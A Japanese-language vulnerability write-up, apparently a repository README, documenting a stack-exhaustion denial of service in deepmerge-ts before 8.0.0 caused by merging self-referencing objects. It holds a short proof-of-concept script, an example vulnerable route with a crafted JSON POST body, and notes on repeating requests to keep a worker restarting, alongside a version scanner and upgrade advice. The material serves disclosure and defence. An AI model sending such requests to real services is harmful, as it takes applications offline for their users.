
deepmerge-ts 8.0.0 より前のスタック枯渇型サービス拒否(DoS)を再現し、悪用方法を文書化し、脆弱な依存関係のバージョン範囲をスキャンするスキャナを含みます。
私は、deepmerge-ts の 8.0.0 より前のバージョンでスタック枯渇バグを再現しました。
興味深い点は、このクラッシュに巨大なネストオブジェクトは不要で、オブジェクトの同一性に起因するということです。マージされる両方の値が同じプロパティを通じて自分自身を参照している場合、マージルーチンは同じペアを訪問し続け、Node.js のスタック領域を使い果たします。
アドバイザリ: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 重大度: 高 影響: 可用性
ほとんどのマージテストは通常の JSON 形式のデータを使用します:
{
user: {
name: "alice"
}
}
そのデータは非循環です。JavaScript オブジェクトは、自分自身や同じグラフ内の別のオブジェクトへの参照を含むこともできます。テストスイートが JSON フィクスチャのみを使用している場合、これらのケースは見落としがちです。
最も小さい失敗グラフは、同じ自己参照を持つ2つの別々のオブジェクトです:
const left = {};
left.self = left;
const right = {};
right.self = right;
レコードのマージは列挙可能なキーを走査し、各キーの値を収集して、それらの値に対して再度マージルーチンを呼び出します。影響を受けるリリースには、循環チェックや、以前に出現したオブジェクトペアの追跡はありません。
self キーは実行を同じ状態に戻します:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
同じ動作は、deepmergeInto、deepmergeCustom、deepmergeIntoCustom が同じ種類のグラフを受け取った場合にも到達可能です。
パッケージは package.json で影響を受ける 7.1.6 リリースに固定されています。
npm install
npm run poc
完全なテストは poc.mjs にあります。これは両方の公開 API をローカルで実行し、予想される RangeError をキャッチして、結果を読みやすくしています。
PoC の重要な部分は次のとおりです:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
期待される出力:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
PoC は、影響を受ける動作が観測された場合に成功を返します。パッケージがアップグレードされ、両方の呼び出しが完了した場合、問題が再現されなかったため、クリーンな結果を出力してステータス 1 で終了します。
特別な循環 JSON ペイロードはありません。通常の JSON パーサーは非循環グラフを生成するため、非常に深い JSON ボディを以下のように送信するだけではトリガーされません:
deepmerge(defaults, req.body);
アプリケーションは、マージ関数を呼び出す前に循環を作成または保持する必要があります。これは、グラフのハイドレーションコード、参照を保持するデシリアライザー、キャッシュやセッションオブジェクトの再利用、またはレコードを相互にリンクするカスタムロジックで発生する可能性があります。
脆弱な統合の小さな例を示します。hydrate 関数は、ユーザー制御のフラグを自己参照に変換します:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
HTTP ルートが mergeRequest を呼び出す場合、攻撃者は次を送信できます:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
両方のサイドに self 参照が含まれるようになります。ルートが deepmerge(left, right) を呼び出すと、ライブラリは left.self と right.self をたどり、同じペアを再度受け取り、V8 がスローするまで再帰します。
アプリケーションがこの正確な hydrate 関数を使用する必要はありません。重要な条件は次のとおりです:
ルートが公開されており、例外がキャッチされない場合、1回のリクエストで Node.js ワーカーを停止できます。プロセススーパーバイザーが自動的に再起動する場合、リクエストを繰り返すことでサービスを再起動ループに保つことができます。認証が必要な場合でも、攻撃者はそのルートへのアクセスを依然として必要とします。
これはサービス拒否の問題です。このバグは、コード実行、ファイルアクセス、または別のリクエストからマージ入力を読み取る手段を提供しません。
この区別は、実際のアプリケーションを評価する際に重要です。次のリクエストボディ自体は循環ではありません:
{
"self": true
}
これは、アプリケーションコードが self: true をルートオブジェクトへの参照として解釈するか、別のパーサーがオブジェクト参照を復元する場合にのみ関連します。パッケージは結果のグラフを安全に処理する必要がありますが、リモートでの悪用可能性はパッケージの周囲のコードに依存します。
直接的な影響は、同期スタック枯渇による可用性の喪失です。
周囲のアプリケーションによって、結果は次のようになります:
RangeError で失敗するこの問題自体には、機密性や完全性への影響はありません。マージルートが認証なしで公開インターネットから到達可能であるか、別のサービスによって自動的に再試行される場合、重大度は増加します。
クラッシュ PoC を実行する前に、影響を受ける依存関係の参照を見つけるために scanner.mjs を追加しました。これは次をチェックします:
package.json の依存関係レンジpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlプロジェクトディレクトリに対して実行します:
node scanner.mjs /path/to/project
CI や他のツールでは、JSON 出力を使用します:
node scanner.mjs /path/to/project --json
このリポジトリでの結果例:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
スキャナーは、影響を受けるバージョンまたはレンジを見つけると、ステータス 1 で終了します。Git URL やその他の非 semver ソースは、安全として黙って扱われるのではなく、REVIEW とマークされます。
直接の修正は、deepmerge-ts >= 8.0.0 にアップグレードし、ロックファイルを更新することです。
npm install deepmerge-ts@^8.0.0
アプリケーションはまた、再帰的入力の処理方法を決定する必要があります。合理的なオプションは次のとおりです:
エラーをキャッチすることはプロセスの安定性に役立ちますが、攻撃者がリクエストを繰り返すことができる場合、根本的なサービス拒否を除去するものではありません。依存関係のアップグレードと再帰的入力の処理が重要な修正です。
依存関係を 8.0.1 に変更し、再インストールして、同じ PoC を実行します:
npm install [email protected]
npm run poc
パッチ適用済みリリースでは、両方の呼び出しが完了し、スクリプトは次のように出力します:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
このリポジトリの PoC とスキャナーは、MIT ライセンス の下で公開されています。